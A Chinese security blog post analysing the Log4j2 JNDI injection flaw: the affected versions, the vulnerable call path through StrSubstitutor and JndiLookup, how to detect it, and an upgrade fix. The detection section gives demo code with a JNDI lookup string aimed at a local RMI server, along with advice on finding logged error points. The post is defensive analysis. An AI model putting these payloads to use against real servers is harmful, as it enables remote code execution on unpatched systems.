Log4j2-JNDI远程命令执行漏洞分析以及修复

Log4j2-JNDI远程命令执行漏洞分析以及防御

0x01前言:

Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了重大改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。

常见应用中它主要是用于记录系统中的操作记录。比如报错记录,又或者是访问记录,登录记录等等等。应用及其广泛,昨日下午就在群里见有人说这个问题。猜对了一半,log4j的主要作用只是用来做记录日志等操作,要做到CSV评分10.那么只能说明在存储记录过程中的内容可控会导致反序列化?或者其它可控字符造成的危害。在三梦师傅的提醒下自己也是提前根据官方文档复现出来了。

后续也有公众号发布对应的POC(SMDX)。

其危害似乎超过了近两年的热门漏洞shiro,甚至可以说是shiro的倍数。

在阿里云发布的公告中可以知晓。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等热门框架均使用了此依赖。只需要寻找触发点即可。该漏洞不仅仅局限于Web.

不过根据官网文档来看,该问题似乎是一个正常的功能,只不过是默认开启的状态?(一个写日志的整这么花哨干嘛)

参考资料:

https://mp.weixin.qq.com/s/9f1cUsc1FPIhKkl1Xe1Qvw

https://logging.apache.org/log4j/2.x/manual/lookups.html

0x01-2影响版本:

Apache Log4j 2.x <= 2.14.1

0x02:漏洞分析

示例代码:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class main {
    private static Logger LOGGER = LogManager.getLogger(main.class);
    public static void main(String[] args) {
            LOGGER.error("PAYLOAD");
    }
}

运行效果:
image.png

先来看看官方文档对Lookups的说明:

Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. Information on how to use Lookups in configuration files can be found in the Property Substitution section of the Configuration page.

要想使用Lookups功能,必须实现StrLookup接口。官方文档中也说明了自带的几种查找使用方式。

Context Map Lookup
Date Lookup
Docker Lookup
Environment Lookup
EventLookup
Java Lookup
Jndi Lookup
JVM Input Arguments Lookup (JMX)
Kubernetes Lookup
Log4j Configuration Location Lookup
Lower Lookup
Main Arguments Lookup (Application)
Map Lookup
Marker Lookup
Spring Boot Lookup
Structured Data Lookup
System Properties Lookup
Upper Lookup
Web Lookup

漏洞调用堆栈信息:

lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:8, main

org.apache.logging.log4j.core.pattern.format方法中。
会对传入进来的内容进行判断。
222.png

config 不等于nullnoLookupsfalse时(默认为false,由于使用!,满足条件).对workingBuilder的内容进行循环判断:

判断当前字符是否为$且长度+1的字符为{: (${)时。使用substring进行截取。

然后使用StrSubstitutor类的replace方法进行替换,这也是漏洞的sink点.
QQ截图20211213072216.png
replace方法中,如果source的内容不为空,也就是截取后的内容不为空时,进入substitute方法.
QQ图片20211213072108.png

substitute方法中会进行一些简单的字符查找对应函数。后进入resolveVariable方法:
4.png

此时的getVariableResolver返回的是Interpolator对象,后续也会调用此类的lookup方法。

5.png

对字符进行判断查找,如果var变量中存在char字符(58)(对应字符:)。对其截取,进入if判断。

截取内主要是截取:符号前面的内容

后从strLookupMapMap中查找此字符对应的实现类。

strLookupMap在初始化中就已经赋值了部分内容。
6.png

此时的jndi字符对应类JndiLookup。当返回对象不属于ConfigurationAware类,且不为空时,调用其属性的lookup方法。
7.png

JndiLookup类的Lookup方法中又创建了一个JndiManager对象。然后将变量key传入JndiManagerlookup方法中。

8.png

JndiManager在创建对象时,对context的赋值为InitialContext
9.png
最后再将内容传递给InitialContext.lookup方法。从而导致造成JNDI注入。
10.png

此漏洞在官方文档中其实算是一个正常功能。

0x03:漏洞探测

由于此依赖在使用场景中,大多数都只是用来记录日志等功能。除error外,其他方法(info)默认不能触发,需要调level优先级.因此,在日常探测中,可以尝试找一些容易存在记录报错的点,如某字符引发后端类型转换报错:"后端会对此进行记录并将报错内容带入"

OFF     为最高等级 关闭了日志信息  
FATAL      为可能导致应用中止的严重事件错误  
ERROR     为严重错误 主要是程序的错误  
WARN     为一般警告,比如session丢失  
INFO     为一般要显示的信息,比如登录登出  
DEBUG     为程序的调试信息  
TRACE     为比DEBUG更细粒度的事件信息  
ALL     为最低等级,将打开所有级别的日志 

11.png

示例代码:

public static void main(String[] args) throws FileNotFoundException {
        Logger LOGGER = LogManager.getLogger();
        //默认的方法
        System.out.println("当前优先级"+LOGGER.getLevel());
        //默认的优先级
        LoggerContext ctx = (LoggerContext) LogManager.getContext(false);
        Configuration config = ctx.getConfiguration();
        LoggerConfig loggerConfig=config.getLoggerConfig(LOGGER.getName());
        loggerConfig.setLevel(Level.INFO);
        //调整优先级为INFO
        Logger LOGGER2 = LogManager.getLogger(ctx);
        System.out.println("当前优先级:"+LOGGER2.getLevel());
        LOGGER2.info("${jndi:rmi://127.0.0.1:1099/bql6qs}");
    }

0x04修复方案:

升级log4j2版本,2.15.0已完全修复。
网上所流传的rc1存在绕过实际是对lookup的绕过,而rc1及以上版本,已默认将noLookups设置为Ture.也就是说默认不开启lookups功能.除非开发脑残又手动开启了。

截至目前,通过maven所拉取的2.15.0版本其实就是rc2的源代码。

本文链接:

http://websecuritys.cn/archives/log4j2-rce.html
1 + 2 =
1 评论
    溜溜球Chrome 92Windows 10
    2021年12月12日 回复

    感谢大佬分享,我小白看着都很清晰明了